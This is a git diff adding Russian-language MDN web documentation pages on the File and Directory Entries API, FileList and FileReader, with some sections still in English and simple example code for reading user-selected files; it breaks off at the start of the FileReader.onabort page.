+<p>Программный интерфейс файлов и каталогов включает асинхронные и синхронные методы. Асинхронное API может быть использовано в тех случаях, когда нежелательно, чтобы длительные вычисления блокировали весь пользовательский интерфейс. В свою очередь синхронное API предлагает более простую модель программирования, однако оно должно использоваться только с объектами <a href="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a>.</p>
+
+<h3 id="Применимость_API">Применимость API</h3>
+
+<p>API файлов и каталогов является важным программным интерфейсом по следующим причинам:</p>
+
+<ul>
+ <li>Благодаря ему у приложений могут быть автономные (offline) функции, а также функции хранения, позволяющие обрабатывать большие наборы двоичных данных.</li>
+ <li>У приложений появляется возможность предварительной загрузки и кеширования ресурсов, что повышает из производительность.</li>
+ <li>У пользователя приложения появляется возможность напрямую редактировать файлы, расположенные у него на компьютере.</li>
+ <li>Пользователям предоставляется интерфейс работы с файловым хранилищем, который схож с файловой системой.</li>
+</ul>
+
+<p>Примеры таких приложений приведены в разделе <a href="#Примеры использования">Примеры использования</a>.</p>
+
+<h3 id="API_файлов_и_каталогов_и_другие_программные_интерфейсы_хранения_данных">API файлов и каталогов и другие программные интерфейсы хранения данных</h3>
+
+<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объемы данных, по следующим причинам:</p>
+
+<ul>
+ <li>Данное API предлагает возможность хранения данных на стороне клиента в вариантах использования, которые не могут быть решены с помощью баз данных. Например, данное API является намного более производительным в случае хранения и обработки больших файлов.</li>
+ <li>Firefox поддерживает хранение бинарных данных в IndexedDB, в то время как в Chrome эта функция по-прежнему находится на стадии разработки. Если Chrome является одним из целевых браузеров для вашего приложения и у вас есть необходимость хранения бинарных данных, то вы можете использовать только либо данное API, либо AppCache. В свою очередь хранилище AppCache не предоставляет возможности локальных изменений, а также тонкой настройки на стороне клиента.</li>
+ <li>В Chrome у вас есть возможность использования данного API вместе с программным интерфейсом управления квотами, позволяющее управлять квотами хранилища.</li>
+</ul>
+
+<h3 id="sample" name="sample"><a id="Примеры использования" name="Примеры использования"></a>Примеры использования</h3>
+
+<p>Далее приведены лишь некоторые случаи, в которых можно использовать API файлов и каталогов:</p>
+
+<ul>
+ <li>Приложения с постоянной загрузкой.
+  <ul>
+   <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочередную загрузку. </li>
+   <li>Приложение может продолжить загрузку после закрытия или аварийного сбоя браузера, прерывание связи или завершения работы компьютера.</li>
+  </ul>
+ </li>
+ <li>Видеоигры или другие приложения с большим количеством медиа ресурсов.
+  <ul>
+   <li>Приложение скачивает один или несколько больших архивов с ресурсами и локально его распаковывает.</li>
+   <li>Приложение осуществляет предварительную фоновую загрузку ресурсов, благодаря чему у пользователя нет необходимости ожидать их загрузки для начала следующего уровня.</li>
+  </ul>
+ </li>
+ <li>Аудио- или фоторедактор с возможностью автономной работы или локальным кэшем.
+  <ul>
+   <li>Приложение может редактировать файлы без полной их перезаписи (например, ID3/EXIF теги).</li>
+  </ul>
+ </li>
+ <li>Offline видеопроигрыватель.
+  <ul>
+   <li>Приложение может загружать большие (&gt; 1 ГБ) файлы.</li>
+   <li>Приложение может начать воспроизведение частично загруженного файла.</li>
+  </ul>
+ </li>
+ <li>Offline клиент электронной почты.
+  <ul>
+   <li>Возможность загрузки и локального хранения прикреплений.</li>
+   <li>Возможность кеширования прикреплений для более поздней отправки.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="concepts" name="concepts">Big concepts</h2>
+
+<p>Before you start using the File and Directory Entries API, you need to understand a few concepts:</p>
+
+<ul>
+ <li><a href="#virtual">The File and Directory Entries API is a virtual representation of a file system</a></li>
+ <li><a href="#storage">The File and Directory Entries API can use different storage types</a></li>
+ <li><a href="#quota">Browsers impose storage quota</a></li>
+ <li><a href="#versions">The File and Directory Entries API has asynchronous and synchronous versions</a></li>
+ <li><a href="#errorcallbacks">When using the asynchronous API, always use the error callbacks</a></li>
+ <li><a href="#interfaces">The File and Directory Entries API interacts with other APIs</a></li>
+ <li><a href="#case">The File and Directory Entries API is case-sensitive</a></li>
+</ul>
+
+<h3 id="virtual" name="virtual">The File and Directory Entries API is a virtual representation of a file system</h3>
+
+<p>The API doesn't give you access to the local file system, nor is the sandbox really a section of the file system. Instead, it is a virtualized file system that looks like a full-fledged file system to the web app. It does not necessarily have a relationship to the local file system outside the browser. </p>
+
+<p>What this means is that a web app and a desktop app cannot share the same file at the same time. The API does not let your web app reach outside the browser to files that desktop apps can also work on. You can, however, export a file from a web app to a desktop app. For example, you can use the File API, create a blob, redirect an iframe to the blob, and invoke the download manager.</p>
+
+<h3 id="storage" name="storage">The File and Directory Entries API can use different storage types</h3>
+
+<p>An application can request temporary or persistent storage. Temporary storage is easier to get, because the browser just gives it to you, but it is limited and can be deleted by the browser when it runs out of space. Persistent storage, on the other hand, might offer you larger space that can only be deleted by the user, but it requires the user to grant you permission.</p>
+
+<p>Use temporary storage for caching and persistent storage for data that you want your app to keep—such as user-generated or unique data.</p>
+
+<h3 id="quota" name="quota">Browsers impose storage quotas</h3>
+
+<p>To prevent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.</p>
+
+<p>How storage space is granted or allocated and how you can manage storage are idiosyncratic to the browser, so you need to check the respective documentation of the browser. Google Chrome, for example, allows temporary storage beyond the 5 MB required in the specifications and supports the Quota Management API. To learn more about the Chrome-specific implementation, see <a class="external" href="http://code.google.com/chrome/whitepapers/storage.html">Managing HTML5 Offline Storage</a>.</p>
+
+<h3 id="version" name="version">The File and Directory Entries API has asynchronous and synchronous versions</h3>
+
+<p>The File and Directory Entries API comes with asynchronous and synchronous versions. Both versions of the API offer the same capabilities and features. In fact, they are almost alike, except for a few differences.</p>
+
+<ul>
+ <li><strong>WebWorkers.</strong> The asynchronous API can be used in either the document or <a href="/En/Using_web_workers" rel="internal" title="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a> context, while the synchronous API is for use with WebWorkers only. </li>
+ <li><strong>Callbacks</strong>. The asynchronous API doesn't give you data by returning values; instead, you have to pass a callback function. You send requests for operations to happen, and get notified by callbacks. In contrast, the synchronous API does not use callbacks because the API methods return values.</li>
+ <li><strong>Global methods of the asynchronous and synchronous APIs</strong>. The asynchronous API has the following global methods: <code>requestFileSystem()</code> and <code>resolveLocalFileSystemURL()</code>. These methods are members of both the window object and the worker global scope. The synchronous API, on the other hand, uses the following methods:  <code>requestFileSystemSync()</code> and  <code>resolveLocalFileSystemSyncURL()</code>. These synchronous methods are members of the worker's global scope only, not the window object.</li>
+</ul>
+
+<p>The synchronous API can be simpler for some tasks. Its direct, in-order programming model can make code easier to read. The drawback of synchronous API has to do with its interactions with Web Workers, which has some limitations.</p>
+
+<h3 id="errorcallbacks" name="errorcallbacks">When using the asynchronous API, always use the error callbacks</h3>
+
+<p>When using the asynchronous API, always use the error callbacks. Although the error callbacks for the methods are optional parameters, they are not optional for your sanity. You want to know why your calls failed. At minimum, handle the errors to provide error messages, so you'll have an idea of what's going on.</p>
+
+<h3 id="interfaces" name="interfaces">The File and Directory Entries API interacts with other APIs</h3>
+
+<p>The File and Directory Entries API is designed to be used with other APIs and elements on the web platform. For example, you are likely to use one of the following:</p>
+
+<ul>
+ <li>XMLHttpRequest (such as the <code>send()</code> method for file and blob objects)</li>
+ <li>Drag and Drop API</li>
+ <li>Web Workers (for the synchronous version of the File and Directory Entries API)</li>
+ <li>The <code>input</code> element (to programmatically obtain a list of files from the element)</li>
+</ul>
+
+<h3 id="case" name="case">The File and Directory Entries API is case sensitive</h3>
+
+<div>The filesystem API is case-sensitive, and case-preserving. </div>
+
+<p> </p>
+
+<h2 id="restrictions" name="restrictions"><a id="Ограничения" name="Ограничения"></a>Ограничения</h2>
+
+<p>For security reasons, browsers impose restrictions on file access. If you ignore them, you will get security errors.</p>
+
+<ul>
+ <li><a href="#origin">The File and Directory Entries API adheres to the same-origin policy</a></li>
+ <li><a href="#execute">The File and Directory Entries API does not let you create and rename executable files</a></li>
+ <li><a href="#sandbox">The file system is sandboxed</a></li>
+ <li><a href="#file">You cannot run your app from file://</a></li>
+</ul>
+
+<h3 id="origin" name="origin">The File and Directory Entries API adheres to the same-origin policy</h3>
+
+<p>An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of file systems.</p>
+
+<p>The security boundary imposed on file system prevents applications from accessing data with a different origin. This protects private data by preventing access and deletion. For example, while an app or a page in <a href="http://www.example.com/app/" rel="external" title="http://www.example.com/app/">http://www.example.com/app/</a> can access files from <a href="http://www.example.com/dir/" rel="external" title="http://www.example.com/dir/">http://www.example.com/dir/</a>, because they have the same origin, it cannot retrieve files from <a href="http://www.example.com:8080/dir/" rel="external" title="http://www.example.com:8080/dir/">http://www.example.com:8080/dir/</a> (different port) or <a href="https://www.example.com/dir/" rel="external" title="https://www.example.com/dir/">https://www.example.com/dir/</a> (different protocol).</p>
+
+<h3 id="execute" name="execute">The File and Directory Entries API does not let you create and rename executable files</h3>
+
+<p>To prevent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the File and Directory Entries API. </p>
+
+<h3 id="sandbox" name="sandbox">The file system is sandboxed</h3>
+
+<p>Because the file system is sandboxed, a web app cannot access another app's files. You also cannot read or write files to an arbitrary folder (for example, My Pictures and My Documents) on the user's hard drive.</p>
+
+<h3 id="file" name="file">You cannot run your app from file://</h3>
+
+<p>You cannot run your app locally from <code>file://</code>. If you do so, the browser throws errors or your app fails silently. This restriction also applies to many of the file APIs, including BlobBuilder and FileReader.</p>
+
+<p>For testing purposes, you can bypass the restriction on Chrome by starting the browser with the <code>--allow-file-access-from-files</code> flag. Use this flag only for this purpose.</p>
+
+<h2 id="definitions" name="definitions"><a id="Определения" name="Определения"></a>Определения</h2>
+
+<p>This section defines and explains terms used in the File and Directory Entries API.</p>
+
+<dl>
+ <dt><a name="gloss_blob">blob</a></dt>
+ <dd>Stands for binary large object. A blob is a set of binary data that is stored a single object. It is a general-purpose way to reference binary data in web applications. A blob can be an image or an audio file.</dd>
+ <dt><a name="gloss_Blob">Blob</a></dt>
+ <dd>Blob—with a capital B—is a data structure that is immutable, which means that binary data referenced by a Blob cannot be modified directly. This makes Blobs act predictably when they are passed to asynchronous APIs.</dd>
+ <dt><a name="gloss_persistent_storage">persistent storage</a></dt>
+ <dd>Persistent storage is storage that stays in the browser unless the user expunges it or the app deletes it. </dd>
+ <dt><a name="gloss_temporary_storage">temporary storage</a></dt>
+ <dd>Transient storage is available to any web app. It is automatic and does not need to be requested, but the browser can delete the storage without warning.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>This API has no official W3C or WHATWG specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoDesktop(50) }}<sup>[1]</sup></td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile(50) }}<sup>[1]</sup></td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/filesystem/" title="http://www.html5rocks.com/en/tutorials/file/filesystem/">Exploring the FileSystem APIs</a> (HTML5 Rocks)</li>
+</ul>
diff --git a/files/ru/web/api/filelist/index.html b/files/ru/web/api/filelist/index.html
new file mode 100644
index 0000000000..350142abee
--- /dev/null
+++ b/files/ru/web/api/filelist/index.html
@@ -0,0 +1,153 @@
+---
+title: FileList
+slug: Web/API/FileList
+tags:
+  - API
+  - File API
+  - Files
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<div>Объект этого типа возвращается свойством {{HTMLElement("input")}} элемента, что позволяет получить список выбранных файлов из <code>&lt;input type="file"&gt;</code>. Также используется для получения списка файлов, брошеных в область веб-контента (<strong>Web content</strong>) по средствам drag and drop API. Смотрите <a href="/en-US/docs/DragDrop/DataTransfer" title="DragDrop/DataTransfer">DataTransfer</a> для детального понимания как это использовать.</div>
+
+<div class="note">
+<p><strong>Заметка:</strong> До версии {{Gecko("1.9.2")}}, input элемент поддерживает только один выбранный файл, это значит что FileList содержит только один файл. Начиная с {{Gecko("1.9.2")}}, если input содержит атрибут multiple=true, то FileList может содержать несколько файлов.</p>
+</div>
+
+<h2 id="Using_the_file_list" name="Using_the_file_list">Использование FileList</h2>
+
+<p>Все <code>&lt;input&gt;</code> элементы имеют файловые массивы которые позволяют получить доступ к файлам. Пример файлового тега:</p>
+
+<pre>&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Этот код извлекает первый </font><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code> object из списка:</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0];
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">Обзор методов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>File <a href="#item ()">item</a>(index);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Свойства</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Атрибут</td>
+   <td class="header">Тип</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>integer</code></td>
+   <td>Количество файлов в списке, свойство только для чтения (read-only)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="item()" name="item()">item()</h3>
+
+<p>Возвращает <a href="/en-US/docs/DOM/File" title="DOM/File"><code>File</code></a> объект по его индексу в списке.</p>
+
+<pre> File item(
+   index
+ );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметр</h6>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Отсчитываемый от нуля индекс файла для извлечения из списка.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Возвращаемое значение</h6>
+
+<p><code>Тип <a href="/en-US/docs/DOM/File" title="DOM/File">File</a>, соотвествует запрашиваемому файлу.</code></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>Этот пример выполняет перебор всех файлов, выбранных пользователем, используя элемент Input:</p>
+
+<pre class="brush:js">// fileInput это HTML input элемент: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files это FileList объект (похож на NodeList)
+var files = fileInput.files;
+var file;
+
+// обходит файлы используя цикл
+for (var i = 0; i &lt; files.length; i++) {
+
+    // получаем сам файл
+    file = files.item(i);
+    // или можно так
+    file = files[i];
+
+    alert(file.name);
+}
+</pre>
+
+<p>Здесь пример посложнее.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;!--атрибут multiple позволяет выбрать сразу несколько файлов--&gt;
+
+&lt;input id="myfiles" multiple type="file"&gt;
+
+&lt;/body&gt;
+
+&lt;script&gt;
+
+var pullfiles=function(){
+    // выбираем файловые инпуты на странице
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // кешируем files.length
+    var fl=files.length;
+    var i=0;
+
+    while ( i &lt; fl) {
+        // локализуем файловую переменную в цикле
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// привязываем событие изменения input
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML5 working draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+ <li><code><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code></li>
+ <li><code><a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a></code></li>
+</ul>
diff --git a/files/ru/web/api/filereader/error/index.html b/files/ru/web/api/filereader/error/index.html
new file mode 100644
index 0000000000..d15627b9b9
--- /dev/null
+++ b/files/ru/web/api/filereader/error/index.html
@@ -0,0 +1,48 @@
+---
+title: FileReader.error
+slug: Web/API/FileReader/error
+translation_of: Web/API/FileReader/error
+---
+<div>{{APIRef("File API")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Возвращает ошибку, произошедшую во время чтения файла.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <var>error</var> = <em>instanceOfFileReader</em>.error
+</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{domxref("DOMError")}} содержит соответствующую ошибку. В Chrome 48+/Firefox 58+ значение возвращает {{domxref("DOMException")}} так как <code>DOMError</code> был удалён из DOM-стандарта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.FileReader.error")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/filereader/index.html b/files/ru/web/api/filereader/filereader/index.html
new file mode 100644
index 0000000000..c6a1fe466a
--- /dev/null
+++ b/files/ru/web/api/filereader/filereader/index.html
@@ -0,0 +1,59 @@
+---
+title: FileReader()
+slug: Web/API/FileReader/FileReader
+tags:
+  - API
+  - FileReader
+  - Конструктор
+  - Ссылка
+translation_of: Web/API/FileReader/FileReader
+---
+<p>Конструктор <strong><code>FileReader()</code></strong> создаёт новый FileReader.</p>
+
+<p>Дополнительные сведения об использовании <code>FileReader</code>, смотрите в разделе <a href="/ru/docs/Web/API/File/Using_files_from_web_applications">Использвание файлов из веб-приложений</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var reader = new FileReader();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутсвуют.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий объект кода показывает объект <code><a href="/ru/docs/Web/API/FileReader">FileReader</a></code> использующий конструктор <code>FileReader()</code> и последующее использование объекта:</p>
+
+<pre class="brush: js">function printFile(file) {
+  var reader = new FileReader();
+  reader.onload = function(evt) {
+    console.log(evt.target.result);
+  };
+  reader.readAsText(file);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Первоночальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/File/Using_files_from_web_applications">Использование файлов из веб-приложений</a></li>
+</ul>
diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html
new file mode 100644
index 0000000000..2e5678021c
--- /dev/null
+++ b/files/ru/web/api/filereader/index.html
@@ -0,0 +1,131 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+  - API
+  - DOM
+  - File API
+  - WebAPI
+  - Файлы
+translation_of: Web/API/FileReader
+---
+<p>{{ APIRef("File API") }}</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задается файл или данные для чтения.</p>
+
+<p>Объекты <code>File</code> можно получить через объект {{domxref("FileList")}}, который возвращается как результат при выборе файлов пользователем с помощью элемента {{HTMLElement("input")}}, через drag and drop из объекта {{domxref("DataTransfer")}}, или с помощью <code>mozGetAsFile()</code>, метода доступного в API элемента {{domxref("HTMLCanvasElement")}}.</p>
+
+<div class="blockIndicator warning">
+<p>Важное замечание: <code>FileReader</code> используется только для безопасным образом чтения содержимого файла из пользовательской (удалённой) системы. Его нельзя использовать для простого чтения файла по пути из файловой системы. Для чтения файла по пути в JavaScript следуюет использовать стандартное решение Ajax для чтения файла на стороне сервера с разрешение CORS при кроссдоменном чтении.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<pre class="syntaxbox notranslate">FileReader FileReader();</pre>
+
+<p>Более детально, с примерами см. <a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">использование файлов в веб-приложениях</a>.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("DOMError")}} представляет собой ошибку, происходящую при чтении файла.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd>Число обозначающее состояние объекта <code>FileReader</code>. Принимает одно из значений {{ anch("State constants") }}.</dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причем формат данных зависит от способа, с помощью которого процесс был вызван.</dd>
+</dl>
+
+<h3 id="Обработка_событий">Обработка событий</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>Обработчик для события {{event("abort")}}. Это событие срабатывает каждый раз, когда прерывается операция чтения.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>Обработчик для события {{event("error")}}. Это событие срабатывает каждый раз, когда при чтении возникает ошибка.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>Обработчик для события {{event("load")}}. Это событие срабатывает при каждом успешном завершении операции чтения.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>Обработчик для события {{event("loadstart")}}. Это событие срабатывает каждый раз, при запуске процесса чтения.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>Обработчик для события {{event("loadend")}}. Это событие срабатывает каждый раз по окончании процесса чтения (не важно, успешном или нет).</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>Обработчик для события {{event("progress")}}. Это событие срабатывает во время чтения данных из {{domxref("Blob")}}.</dd>
+</dl>
+
+<div class="note">
+<p>Замечание: т.к. <code>FileReader</code> унаследован от {{domxref("EventTarget")}}, на все перечисленные события можно подписаться, используя метод {{domxref("EventTarget.addEventListener()","addEventListener")}}.</p>
+</div>
+
+<h3 id="State_constants" name="State_constants">Константы состояния</h3>
+
+<ul>
+ <li><code>EMPTY </code> : <code>0</code> : Данные еще не были загружены.</li>
+ <li><code>LOADING</code> : <code>1</code> : Данные в данный момент загружаются.</li>
+ <li><code>DONE </code> : <code>2</code> : Операция чтения была завершена.</li>
+</ul>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>Отмена операции чтения. После вызова, значение <code>readyState</code> станет равным <code>DONE</code>.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code>result</code> будет содержать данные файла в виде {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать бинарные данные файла в виде строки.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать данные файла в виде <code>data:</code> URL.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать данные файла в виде текста.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.FileReader")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h3 id="Заметки_по_реализации">Заметки по реализации</h3>
+
+<ul>
+ <li>Для IE9 есть <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info" title="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</li>
+ <li>Opera предоставляет <a href="http://www.opera.com/docs/specs/presto28/file/" title="http://my.opera.com/desktopteam/blog/2011/04/05/stability-gmail-socks">частичную поддержку</a> в версии 11.1.</li>
+</ul>
+
+<h4 id="Относительно_движка_Gecko">Относительно движка Gecko</h4>
+
+<ul>
+ <li>В версиях Gecko ниже 2.0 beta 7 (Firefox 4.0 beta 7), все параметры {{ domxref("Blob") }} были параметрами {{ domxref("File") }}; в последствии это было изменено, для соответствия спецификации.</li>
+ <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднен и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">Использование файлов в веб-приложениях</a></li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+ <li><a href="/ru/docs/nsIDOMFileReader">nsIDOMFileReader</a> - <span style="background-color: #ffffff; color: #4d4e53; font-family: open sans,arial,sans-serif; font-size: 14px; line-height: 21px;">For addons/privileged scope</span></li>
+</ul>
diff --git a/files/ru/web/api/filereader/onabort/index.html b/files/ru/web/api/filereader/onabort/index.html
new file mode 100644
index 0000000000..cf9d62c646
--- /dev/null
+++ b/files/ru/web/api/filereader/onabort/index.html
@@ -0,0 +1,10 @@
+---
+title: FileReader.onabort
